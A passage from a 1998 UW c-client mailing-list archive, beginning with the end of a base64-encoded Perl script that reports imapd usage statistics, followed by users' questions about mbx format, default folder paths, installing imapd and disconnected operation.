KFxkKykgdXQgKFxTKykgc3QgKFxTKykgbXNzIChcZCspIGlzcyAoXGQrKSBt aW5mIChcZCspIG1hamYgKFxkKykgc3cgKFxkKykgYmkgKFxkKykgYm8gKFxk KykgbWkgKFxkKykgbW8gKFxkKykgbnNpZyAoXGQrKSB2Y3MgKFxkKykgaWNz IChcZCspJC87DQoNCgkJIyBMb2cgc3RhcnQgYW5kIGVuZCB0aW1lcyBmb3Ig c2Vzc2lvbg0KCQkkc3RhcnR0aW1lID0gJHN0YXJ0Ow0KCQkkZW5kdGltZSA9 ICgkc3RhcnQgKyAkZXQpOw0KDQoJCSMgSWYgdGhlIHN0YXJ0IGFuZCBlbmQg dGltZSBhcmUgZXF1YWwsIGl0IGlzIHByZXR0eSBsaWtlbHkNCgkJIyB0aGF0 IGl0IGlzIGEgbWFpbCBjaGVja2luZy9iaWZmIHR5cGUgcHJvZ3JhbSB0aGF0 IGlzIGZhbHNlbHkNCgkJIyBpbmZsYXRpbmcgdGhlIGxvZ3MNCgkJbmV4dCB1 bmxlc3MgKCgkZW5kdGltZSAtICRzdGFydHRpbWUpID4gJHdhdGVyTWFyayk7 DQoJCSRvbmxpbmVUaW1lc3skc3RhcnR0aW1lfSA9ICJvbiI7DQoJCSRvbmxp bmVUaW1lc3skZW5kdGltZX0gPSAib2ZmIjsNCg0KCQkjIENvdW50IGFuZCBh ZGQgc29tZSBzdGF0aXN0aWNzDQoJCSRzdGFydERhdGUgPSAkZGF0ZSB1bmxl c3MgZGVmaW5lZCgkc3RhcnREYXRlKTsNCgkJJHNlc3Npb25Db3VudGVyKys7 DQoJCSR1c2VyQ291bnRlcisrIHVubGVzcwkJCQkjIElnbm9yZSB1bmtub3du DQoJCSgkc2VlblVzZXJ7JHVzZXJ9KysgfHwgJHVzZXIgPX4gL1w/XD9cPy8p OwkjIHVzZXINCg0KCQlpZiAoJGhvc3QgPX4gL3RyYW5zbWV0YS8pIHsNCgkJ CSMgSWdub3JlIHRoZSBJUCBhZGRyZXNzIGlmIHRoZSBob3N0bmFtZSBpcyBr bm93bi4NCgkJCSMgVGhpcyBpcyBuZXcgaW4gdjEwLjIzNCBvZiB0aGUgaW1h cGQgc2VydmVyLg0KCQkJJGhvc3QgPX4gcy8gXFtcZCtcLlxkK1wuXGQrXC5c ZCtcXS8vOw0KCQl9DQoNCgkJJHNlZW5Ib3N0eyRob3N0fSsrIHVubGVzcyAo JGhvc3QgPX4gL1VOS05PV04vKTsNCgkJJGV0Q291bnRlciA9ICRldENvdW50 ZXIgKyAkZXQ7DQoJCSRzd0NvdW50ZXIgPSAkc3dDb3VudGVyICsgJHN3Ow0K CQkkdG90YWxDUFVUaW1lID0gJHRvdGFsQ1BVVGltZSArICR1dCArICRzdDsN Cg0KCQkjIENyZWF0ZSB0aGUgd29yc2UgcGFnZSBmYXVsdCBzZXNzaW9uIGFy cmF5DQoJCWlmICgkZXQgPiAkd2F0ZXJNYXJrKSB7DQoJCQkkd29yc2VtYWpw ZnskbWFqZi8kZXR9ID0gJGRhdGU7DQoJCX0NCgl9DQp9DQoNCiMgR2V0IGRh dGUgb2YgbGFzdCBlbnRyeSBpbiBsb2cgZmlsZQ0KJGVuZERhdGUgPSAkZGF0 ZTsNCg0KIyBTaWxseSBoYWNrIHRvIGZpeCB0aGUgJGhvc3QgdmFyaWFibGUu IFNlZSBhYm92ZSBmb3IgZXhwbGFuYXRpb24uDQppZiAoJGhvc3QgPX4gL3Ry YW5zbWV0YS8pIHsNCgkkaG9zdCA9fiBzLyBcW1xkK1wuXGQrXC5cZCtcLlxk K1xdLy87DQp9DQoNCiMgRmluZCB0aGUgd29yc2UgcGFnZSBmYXVsdCBzZXNz aW9uDQpmb3IgKGtleXMgJXdvcnNlbWFqcGYpIHsNCglpZiAoJF8gPiAkd29y c2VtYWpwZikgew0KCQkkd29yc2VtYWpwZiA9ICRfOw0KCX0NCg0KCSRhdmdt YWpwZiA9ICRhdmdtYWpwZiArICRfOw0KfQ0KDQojIEZpbmQgb3V0IHRoZSBu dW1iZXIgb2YgYWNjb3VudHMgb24gdGhlIHN5c3RlbQ0Kb3BlbmRpcihJTUFQ RElSLCIkaW1hcEhvbWUiKSBvciBkaWUgIkNhbm5ub3Qgc3RhdCBkaXJlY3Rv cnkgJGltYXBIb21lXG4iOw0KQGxzZmlsZXMgPSBncmVwICEvXlwuXC4/JC8s IHJlYWRkaXIoSU1BUERJUik7DQpjbG9zZWRpcihJTUFQRElSKTsNCg0KIyBG aW5kIGFjY291bnRzIHRoYXQgaGF2ZSBiZWVuIHVzZWQgaW4gdGhlIGxhc3Qg d2Vlay4gQWRqdXN0IGFjY29yZGluZ2x5IGlmIHlvdQ0KIyB3YW50IHRvIGtu b3cgZGlmZmVyZW50IHN0YXRzLg0KZm9yIChAbHNmaWxlcykgew0KCW15IEBz dGF0czsNCg0KCWlmICgtZiAiJGltYXBIb21lLyRfL0lOQk9YIikgew0KCQko QHN0YXRzKSA9IHN0YXQoIiRpbWFwSG9tZS8kXy9JTkJPWCIpOw0KCQlpZiAo KHRpbWUgLSA2MDQ4MDApIDwgJHN0YXRzWzldKSB7DQoJCQkkYWN0aXZlQWNj dENvdW50ZXIrKzsNCgkJfSBlbHNlIHsNCgkJCSRpbkFjdGl2ZUFjY3R7JHN0 YXRzWzldfSA9ICRfOw0KCQl9DQoJfSBlbHNlIHsgd2FybiAiRVJST1I6ICRp bWFwSG9tZS8kXy9JTkJPWCBkb2VzIG5vdCBleGlzdFxuIjsgfQ0KDQoJaWYg KC1mICIkaW1hcEhvbWUvJF8vLmluYm94LmNyZWF0ZSIpIHsNCgkJKEBzdGF0 cykgPSBzdGF0KCIkaW1hcEhvbWUvJF8vLmluYm94LmNyZWF0ZSIpOw0KCQlp ZiAoKHRpbWUgLSA2MDQ4MDApIDwgJHN0YXRzWzldKSB7DQoJCQkkbmV3QWNj dHskc3RhdHNbOV19ID0gJF87DQoJCX0NCgl9DQp9DQoNCmZvciAoa2V5cyAl c2Vlbkhvc3QpIHsNCgkkaG9zdENvdW50ZXIrKzsNCn0NCg0KIyBTaG9vdCBv dXQgYWxsIHRoZSBpbmZvDQpwcmludCAiKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq XG4iLA0KICAgICAgIioqKiBpbWFwZCBzZXJ2ZXIgdXNhZ2UgZnJvbSAkc3Rh cnREYXRlIHRvICRlbmREYXRlICoqKlxuIiwNCiAgICAgICIqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKipcblxuIjsNCg0KcHJpbnQgIk5PVEU6IE9ubHkgc2Vzc2lv bnMgbG9uZ2VyIHRoYW4gJHdhdGVyTWFyayBzZWNzIGFyZSBjb25zaWRlcmVk LlxuXG4iOw0KDQpwcmludCAiKioqKioqKioqKioqKioqKioqKioqKioqKioq XG4iLA0KICAgICAgIioqKiBTdW1tYXJ5IEluZm9ybWF0aW9uICoqKlxuIiwN CiAgICAgICIqKioqKioqKioqKioqKioqKioqKioqKioqKipcblxuIiwNCiAg ICAgICJUb3RhbCB1c2VyczogXHRcdCR1c2VyQ291bnRlclxuIiwNCiAgICAg ICJUb3RhbCBob3N0czogXHRcdCRob3N0Q291bnRlclxuIiwNCiAgICAgICJU b3RhbCBzZXNzaW9uczogXHQkc2Vzc2lvbkNvdW50ZXJcbiIsDQogICAgICAi VG90YWwgY29ubmVjdCB0aW1lOiBcdCIsIHRpbWVDb252ZXJ0KCRldENvdW50 ZXIpLCAiXG4iOw0KcHJpbnRmICJUb3RhbCBDUFUgdGltZTogXHQlLjJmIHNl Y3NcblxuIiwgJHRvdGFsQ1BVVGltZTsNCg0KcHJpbnRmICJBdmVyYWdlIGNv bm5lY3QgdGltZSBwZXIgc2Vzc2lvbjogXHQlc1xuIiwgDQoJdGltZUNvbnZl cnQoaW50KCRldENvdW50ZXIvJHNlc3Npb25Db3VudGVyKSk7DQpwcmludGYg IkF2ZXJhZ2UgQ1BVIHRpbWUgcGVyIHNlc3Npb246IFx0XHQlLjJmIHNlY3Nc biIsIA0KCSR0b3RhbENQVVRpbWUvJHNlc3Npb25Db3VudGVyOw0KcHJpbnQg ICJUb3RhbCBzd2FwczogXHRcdFx0XHQkc3dDb3VudGVyXG4iOw0KcHJpbnRm ICJBdmVyYWdlIHN3YXBzIHBlciBzZXNzaW9uIDogXHRcdCVkXG5cbiIsICRz d0NvdW50ZXIvJHNlc3Npb25Db3VudGVyOw0KcHJpbnRmICJBdmVyYWdlIG1h am9yIHBhZ2UgZmF1bHRzIHBlciBzZWNvbmQgcGVyIHNlc3Npb246ICUuM2Zc biIsDQogICAgICAgICRhdmdtYWpwZi8kc2Vzc2lvbkNvdW50ZXI7DQpwcmlu dGYgIldvcnN0IGNhc2UgbWFqb3IgcGFnZSBmYXVsdHMgcGVyIHNlY29uZCBw ZXIgc2Vzc2lvbjogJS4zZiBhdCAlc1xuXG4iLA0KICAgICAgICR3b3JzZW1h anBmLCAkd29yc2VtYWpwZnskd29yc2VtYWpwZn07DQoNCnByaW50ICIqKioq KioqKioqKioqKioqKioqKioqKioqKipcbiIsDQogICAgICAiKioqIEFjY291 bnQgSW5mb3JtYXRpb24gKioqXG4iLA0KICAgICAgIioqKioqKioqKioqKioq KioqKioqKioqKioqKlxuXG4iLA0KICAgICAgIlRoZXJlIGFyZSBAe1skI2xz ZmlsZXMrMV19IGFjY291bnRzLlxuIiwNCiAgICAgICJUaGVyZSB3ZXJlICRh Y3RpdmVBY2N0Q291bnRlciBhY3RpdmUgYWNjb3VudHMgaW4gdGhlIGxhc3Qg d2Vlay5cblxuIiwNCiAgICAgICJJbmFjdGl2ZSBhY2NvdW50cyBmb3IgbW9y ZSB0aGFuIDEgd2VlazpcbiI7DQoNCmZvciAoc29ydCBrZXlzICVpbkFjdGl2 ZUFjY3QpIHsNCglteSAkdGVtcHRpbWU7DQoNCgkkdGVtcHRpbWUgPSBzY2Fs YXIgbG9jYWx0aW1lKCRfKTsNCgkkdGVtcHRpbWUgPX4gcy9eXHcrXHMoLiop XHNcZCskLyQxLzsNCg0KCXByaW50ICIkdGVtcHRpbWVcdCAgICRpbkFjdGl2 ZUFjY3R7JF99XG4iOw0KfQ0KDQpwcmludCAiXG4iOw0KcHJpbnQgIk5ldyBh Y2NvdW50cyBjcmVhdGVkIGluIHRoZSBsYXN0IHdlZWs6XG4iOw0KDQpmb3Ig KHNvcnQga2V5cyAlbmV3QWNjdCkgew0KCW15ICR0ZW1wdGltZTsNCg0KCSR0 ZW1wdGltZSA9IHNjYWxhciBsb2NhbHRpbWUoJF8pOw0KCSR0ZW1wdGltZSA9 fiBzL15cdytccyguKilcc1xkKyQvJDEvOw0KDQoJcHJpbnQgIiR0ZW1wdGlt ZVx0ICAgJG5ld0FjY3R7JF99XG4iOw0KfSAgIA0KDQpwcmludCAiXG4iOw0K cHJpbnQgIk1vc3QgcmVjZW50IHVzZXI6ICR1c2VyXEAkaG9zdCAoJGRhdGUp XG4iLA0KICAgICAgIiAgICAgICAgICAgIHRpbWU6ICIsIHRpbWVDb252ZXJ0 KCRldCksICJcblxuIjsNCg0KZm9yIChzb3J0IGtleXMgJW9ubGluZVRpbWVz KSB7DQoJaWYgKCRvbmxpbmVUaW1lc3skX30gZXEgIm9uIikgew0KCQkkb25s aW5lVXNlcnMrKzsNCgl9IGVsc2lmICgkb25saW5lVGltZXN7JF99IGVxICJv ZmYiKSB7DQoJCSRvbmxpbmVVc2Vycy0tOw0KCX0NCg0KCWlmICgkb25saW5l VXNlcnMgPiAkbWF4T25saW5lVXNlcnMpIHsNCgkJJG1heE9ubGluZVVzZXJz ID0gJG9ubGluZVVzZXJzOw0KCQkkbWF4T25saW5lVXNlcnNUaW1lID0gJF87 DQoJfQ0KfQ0KJG1heE9ubGluZVVzZXJzVGltZSA9IHNjYWxhciBsb2NhbHRp bWUoJG1heE9ubGluZVVzZXJzVGltZSk7DQokbWF4T25saW5lVXNlcnNUaW1l ID1+IHMvXlx3K1xzKC4qKVxzXGQrJC8kMS87CSMgRm9ybWF0IHRpbWUgdG8g bG9vayBsaWtlDQoJCQkJCQkjIG90aGVycw0KDQpwcmludCAiTWF4aW11bSBu dW1iZXIgb2YgY29uY3VycmVudCB1c2VyczogJG1heE9ubGluZVVzZXJzICIs DQogICAgICAiYXQgJG1heE9ubGluZVVzZXJzVGltZVxuXG4iOw0KDQpwcmlu dCAiKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqXG4iLA0KICAgICAg IioqKiBDb25uZWN0aW9uIEluZm9ybWF0aW9uICoqKlxuIiwNCiAgICAgICIq KioqKioqKioqKioqKioqKioqKioqKioqKioqKipcblxuIiwNCiAgICAgICJI b3N0XHRcdFx0XHROdW1iZXIgb2YgY29ubmVjdGlvbnNcbiIsDQogICAgICAi LS0tLVx0XHRcdFx0LS0tLS0tLS0tLS0tLS0tLS0tLS0tXG4iOw0KDQojIEZh bnRhc3RpY2FsbHkgbmFzdHkgd2F5IHRvIGRvIGEgcmV2ZXJzZSB2YWx1ZSBz b3J0IGJ5IGRhdGEuIFRoaXMgcHJpbnRzIG91dA0KIyB0aGUgaG9zdCB3aXRo IHRoZSBoaWdoZXN0IG51bWJlciBvZiBjb25uZWN0aW9ucyBmb2xsb3dlZCBi eSBhbHBoYWJldGljYWwgDQojIHNvcnQgb2YgaG9zdHMgd2l0aCB0aGUgc2Ft ZSBudW1iZXIgb2YgY29ubmVjdGlvbnMuDQpmb3IgKHJldmVyc2Ugc29ydCB7 ICRzZWVuSG9zdHskYX0gPD0+ICRzZWVuSG9zdHskYn0gfHwgDQoJICAgICAg ICAgICAgJGIgY21wICRhfSBrZXlzICVzZWVuSG9zdCkgew0KCQkJcHJpbnRm ICIlLTMycyRzZWVuSG9zdHskX31cbiIsICRfOw0KfQ0KcHJpbnQgIlxuIjsN Cg0KIyMgVGhlIEVuZCAjIw0KDQpzdWIgdGltZUNvbnZlcnQgew0KCW15ICgk c2VjcykgPSBAXzsNCglteSAoJGRheXMsJGhvdXJzLCRtaW5zKTsNCglteSAk c3RyaW5nOw0KDQoJIyBUcmFuc2Zvcm0gc2VjcyBpbnRvIGhycywgbWlucywg c2Vjcw0KCSRtaW5zID0gaW50KCRzZWNzLzYwKTsNCgkkc2VjcyA9ICRzZWNz ICUgNjA7DQoJJGhvdXJzID0gaW50KCRtaW5zLzYwKTsNCgkkbWlucyA9ICRt aW5zICUgNjA7DQoJJGRheXMgPSBpbnQoJGhvdXJzLzI0KTsNCgkkaG91cnMg PSAkaG91cnMgJSAyNDsNCg0KCSRkYXlzID0gJGRheXMgLiAiIGRheSIgLiAo JGRheXMgPiAxID8gInMiIDogIiIpOw0KCSRob3VycyA9ICRob3VycyAuICIg aHIiIC4gKCRob3VycyA+IDEgPyAicyIgOiAiIik7DQoJJG1pbnMgPSAkbWlu cyAuICIgbWluIiAuICgkbWlucyA+IDEgPyAicyIgOiAiIik7DQoJJHNlY3Mg PSAkc2VjcyAuICIgc2VjIiAuICgkc2VjcyA+IDEgPyAicyIgOiAiIik7DQoN CgkjIE9uIHRoZSBmbHkgc3RyaW5nIHJlZm9ybWF0dGluZy4gRW5nbGlzaCBp cyBub3QgYSBnb29kIGxhbmd1YWdlDQoJIyB0byBwcm9ncmFtIGZvci4NCgkk c3RyaW5nID0gKCRkYXlzID4gMCA/ICIkZGF5cyAiIDogIiIpIC4NCgkgICAg ICAgICAgKCRob3VycyA+IDAgPyAiJGhvdXJzICIgOiAiIikgLg0KCQkgICgk bWlucyA+IDAgPyAiJG1pbnMgIiA6ICIiKSAuDQoJCSAgKCRzZWNzID4gMCA/ ICIkc2VjcyIgOiAiMCBzZWMiKTsNCg0KCXJldHVybiAiJHN0cmluZyI7DQp9 DQo= --17486363-1788236113-905941992=:9161-- From pinedev@shivax2.cac.washington.edu Wed Sep 16 11:11:41 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 16 Sep 1998 11:11:41 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA01225 for ; Wed, 16 Sep 1998 11:11:40 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA12643; Wed, 16 Sep 1998 11:11:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA10920; Wed, 16 Sep 1998 11:10:50 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA39796 for ; Wed, 16 Sep 1998 11:08:12 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA22585 for ; Wed, 16 Sep 1998 11:08:11 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pth@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA12518; Wed, 16 Sep 1998 11:08:04 -0700 Message-Id: Date: Wed, 16 Sep 1998 10:53:08 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Malcolm Beattie Cc: Mark Crispin , c-client@CAC.Washington.EDU Subject: Re: tmail/mbx/imapd truncate message body In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Wed, 16 Sep 1998 10:58:42 +0100 (BST), Malcolm Beattie wrote: > Setting > prefix = > to remove any prefix make everything work nicely (since there's no need > for a "From " line when delivering with tmail. Things are now looking > better for mbx. I'm glad to hear that that is now working out. > I'm still having a problem, though, trying to make sure *everything* > is mbx format. I've compiled imapd with > DEFAULTDRIVERS=mbx unix The only thing that does is remove support for other formats and such things as being able to proxy to other servers (e.g. access news via IMAP). The simplest thing is to set STDPROTO to mbxproto in the Makefile. In the next version (imap-4.5, unreleased), set CREATEPROTO to mbxproto and leave EMPTYPROTO alone. From pinedev@shivax2.cac.washington.edu Tue Sep 22 15:25:53 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 22 Sep 1998 15:25:53 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id PAA07191 for ; Tue, 22 Sep 1998 15:25:50 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id PAA23506; Tue, 22 Sep 1998 15:25:42 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id PAA23601; Tue, 22 Sep 1998 15:24:42 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA40222 for ; Tue, 22 Sep 1998 15:22:45 -0700 Received: from postoffice2.mail.cornell.edu (POSTOFFICE2.MAIL.CORNELL.EDU [132.236.56.10]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA01088 for ; Tue, 22 Sep 1998 15:22:44 -0700 Received: from lager (CU-DIALUP-5766.CIT.CORNELL.EDU [128.253.49.166]) by postoffice2.mail.cornell.edu (8.8.8/8.8.8) with SMTP id SAA16877 for ; Tue, 22 Sep 1998 18:22:41 -0400 (EDT) Message-Id: <000101bde677$dfddbe70$070010ac@lager.snork.org> Date: Tue, 22 Sep 1998 18:25:15 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "George Coulouris" To: Subject: Changing default folder, disabling inbox MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hello, I'm running uw imapd 4.4, and I'd like to change two things: 1) Look for mail folders in ~/Mail rather than ~/ by default. As specified in the CONFIG doc and on various messages here, I've tried to modify env_init() in env_unix.c by replacing myHomeDir = cpystr(home); with sprintf(tmp,"%s/Mail",home);myHomeDir=cpystr(tmp); This modification, however, causes _no_ folders to be found (used Outlook Express under NT and Netscape Communicator under AIX for testing). 2) Disable the INBOX spool. Since I use procmail to sort my mail, I've no need for imapd to look at any spool file. Any help would be much appreciated! George Coulouris - http://www.tc.cornell.edu/~glc5/ ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 8 09:35:00 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Thu, 8 Oct 1998 09:35:00 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA19429 for ; Thu, 8 Oct 1998 09:34:59 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id JAA12144; Thu, 8 Oct 1998 09:34:53 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id JAA05797; Thu, 8 Oct 1998 09:33:49 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id JAA04658 for ; Thu, 8 Oct 1998 09:30:32 -0700 Received: from glockner.cip.physik.uni-muenchen.de (glockner.cip.physik.uni-muenchen.de [141.84.136.1]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id JAA00767 for ; Thu, 8 Oct 1998 09:30:25 -0700 Received: from glockner (glockner.cip.physik.uni-muenchen.de [141.84.136.1]) by glockner.cip.physik.uni-muenchen.de (8.8.7/8.8.7) with SMTP id SAA08562 for ; Thu, 8 Oct 1998 18:30:13 +0200 (METDST) Message-Id: <361CE895.A34@cip.physik.uni-muenchen.de> Date: Thu, 08 Oct 1998 18:30:13 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Thomas Stroese To: c-client@u.washington.edu Subject: IMAP - NewBie MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: Thomas.Stroese@Physik.Uni-Muenchen.DE X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hello All! I'm new on the list. I've just visited http://www.washington.edu/imap/ in order to install an IMAP server. I downloaded imapd-bin.hpux10 for our Unix-Mail Server. Can anyone explain me what to do with that binary, how to install it and how to achieve some more documentation about the imap-server Thank You very much! Bye, Thomas Stroese. -- Thomas Stroese RBG Cip-Physik Email: stroese@cip.physik.uni-muenchen.de PGP-Fingerprint: 46 F2 B8 04 26 AD 9A 05 13 FF C1 82 1F A6 E1 B7 WWW: http://www.informatik.tu-muenchen.de/~stroese ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Oct 19 11:55:59 1998 -0700 Return-Path: Received: via tmail-4.1(9) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Oct 1998 11:55:59 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA01338 for ; Mon, 19 Oct 1998 11:55:58 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA28765; Mon, 19 Oct 1998 11:55:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA22311; Mon, 19 Oct 1998 11:54:57 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA24526 for ; Mon, 19 Oct 1998 11:53:45 -0700 Received: from alpha.xerox.com (firewall-user@alpha.Xerox.COM [13.1.64.93]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with SMTP id LAA17575 for ; Mon, 19 Oct 1998 11:53:44 -0700 Received: from parc.xerox.com ([13.2.118.23]) by alpha.xerox.com with SMTP id <54512(3)>; Mon, 19 Oct 1998 11:53:36 PDT Message-Id: <362B8AB1.A9C8CB2@parc.xerox.com> Date: Mon, 19 Oct 1998 11:53:37 PDT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mike Spreitzer To: c-client@u.washington.edu Cc: spreitze@parc.xerox.com Subject: Question about IMAP disconnected operation MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I have a mail handling problem that I wonder if IMAP servers and clients can solve for me. The verbiage I've seen about disconnected operation and IMAP talks about a single session of disconnected operation. That is, it talks about creating a "cache" on some machine and then later propagating changes from cache to server --- but not about still later propagating even later changes from server to cache. What I want is not a single session but rather an ongoing relationship between the mail stored on my home computer and the mail stored somewhere on my office LAN. I tend to think of this as a replicated mail repository. I want all my mail stored near whatever machine I'm using at a given time. I have a network link between home and office, but want to not use it for interactive things (e.g., online mail access) due to bandwidth and latency limitations. The trick here is to get a quick update of the laggard replica when I switch from using one replica to the other. By "quick" I mean to forbid simply copying the whole mail database. That's on the order of 10^8 bytes for me --- way too big to copy over the thin straw between home and office. Does IMAP "disconnected operation" do what I want? Thanks, Mike ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 22 05:07:30 1998 -0700 Return-Path: Received: via tmail-4.1(9) (invoked by user mailnull) for mailarch+c-client; Thu, 22 Oct 1998 05:07:30 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id FAA23854 for ; Thu, 22 Oct 1998 05:07:29 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id FAA22788; Thu, 22 Oct 1998 05:07:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id FAA10070; Thu, 22 Oct 1998 05:06:40 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id FAA39860 for ; Thu, 22 Oct 1998 05:05:47 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id FAA27122 for ; Thu, 22 Oct 1998 05:05:47 -0700 Received: from mail.satsnet.com (mail.satsnet.com [207.36.24.131]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with SMTP id FAA22768 for ; Thu, 22 Oct 1998 05:05:42 -0700 Received: from satsnet.com (fester.satsnet.com [207.36.24.151]) by mail.satsnet.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id HAA17069 for ; Thu, 22 Oct 1998 07:26:45 -0400 Message-Id: <362F1675.F61A49DD@satsnet.com> Date: Thu, 22 Oct 1998 04:26:45 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Jose de Jesus Castillo To: IMAP List Subject: Configuring MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: jcastil1@mail.satsnet.com X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN At risk of sounding like a newbie, can someone point me to the documentation on configuring IMAP/POP. I have read the man pages provided with the UNIX binaries (IRIX 6.2), but they are very short, with no mention of configuration. I have run imap-setup, the entries are in my /etc/services, /etc/inetd.conf, and the binaries are where they should be(/usr/freeware/bin/), but it still doesn't seem to be working. I admit, I am new to configuring mail, but I hope there are some docs somewhere that explain how to do it. Thanks. Bewildered. ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Oct 23 07:20:44 1998 -0700 Return-Path: Received: via tmail-4.1(9) (invoked by user mailnull) for mailarch+c-client; Fri, 23 Oct 1998 07:20:44 -0700 (PDT) 